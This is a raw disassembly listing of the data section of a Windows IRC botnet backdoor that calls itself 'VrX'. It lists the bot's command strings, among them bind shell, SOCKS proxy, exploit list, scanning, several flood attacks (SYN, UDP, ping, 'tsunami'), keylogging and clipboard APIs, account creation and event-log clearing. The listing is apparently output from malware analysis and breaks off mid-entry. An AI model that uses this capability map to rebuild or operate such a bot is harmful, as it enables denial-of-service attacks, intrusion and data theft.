sub_401ACD+198Eo align 10h unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o ; sub_40B477+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+1902o dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo align 4 aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o ; sub_401ACD+17D5o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo aT: ; DATA XREF: sub_401ACD+16D9o ; .packed:00438AFCo unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o aI: ; DATA XREF: sub_401ACD+165Do unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1648o align 4 aS_1: ; DATA XREF: sub_401ACD+1633o ; .packed:00438B4Co unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo align 4 aQ: ; DATA XREF: sub_401ACD+1609o ; .packed:off_438768o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o align 10h aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo align 10h aR: ; DATA XREF: sub_401ACD+15B5o ; sub_401ACD+3D8Eo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o align 4 dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo align 4 dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o align 10h dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o align 10h dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o ; sub_401ACD+13A3o dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o ; sub_401ACD+139Eo dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o ; sub_401ACD+137Ao dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o ; sub_401ACD+1375o dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o ; sub_401ACD+13F5o dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o ; sub_401ACD+13F0o dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo ; sub_401ACD+13CCo dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o ; sub_401ACD+13C7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o align 4 dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo ; sub_401ACD+12C8o dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o ; sub_401ACD+12C3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo align 4 dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o ; sub_401ACD+12AAo dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo ; sub_401ACD+12A5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o align 4 dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o ; sub_401ACD+1328o dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o ; sub_401ACD+1323o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo align 4 dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o ; sub_401ACD+124Ao dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo ; sub_401ACD+1245o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o ; sub_401ACD+122Co dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o ; sub_401ACD+1227o dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o align 4 dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo align 4 dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o align 10h dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o align 4 dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1037o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o ; sub_401ACD+1085o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o ; sub_401ACD+2D26o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo ; sub_401ACD+2D15o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o align 4 aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o ; sub_401ACD+EDEo aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co a63 db '63',0 ; DATA XREF: sub_401ACD+D69o align 4 asc_42CAAC: ; DATA XREF: sub_401ACD+D41o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo align 4 aUser_2 db '$user',0 ; DATA XREF: sub_401ACD+CBBo align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o align 4 aK: ; DATA XREF: sub_401ACD+A9Fo ; sub_401ACD+3DBCo unicode 0, <k>,0 aC: ; DATA XREF: sub_401ACD+A87o ; sub_401ACD+4AA4o unicode 0, <c>,0 unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co align 4 unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+8F3o dd 0A0Dh dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8B4o dd 0D017325h, 0Ah dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo ; sub_40CD43+1Bo unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_2 db '%s',0 ; DATA XREF: sub_401ACD+6EAo ; sub_401ACD+979o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o align 10h dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo ; sub_401ACD+AC1o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do ; sub_409869+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o ; sub_409869+16o unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o ; sub_40F3AA+5C6o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o ; sub_401ACD+5CDo align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+5F1o unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2E79o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7A88o ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_417B76:loc_417BDEo a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3BBo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_417B76+50o align 4 asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7B9Do unicode 0, <!>,0 asc_42CDC0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E41o ... unicode 0, < >,0 asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_4025E6o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo ; sub_418AF1+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o ; sub_418AF1+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409909+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409909+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409909+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo ; sub_425029+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: 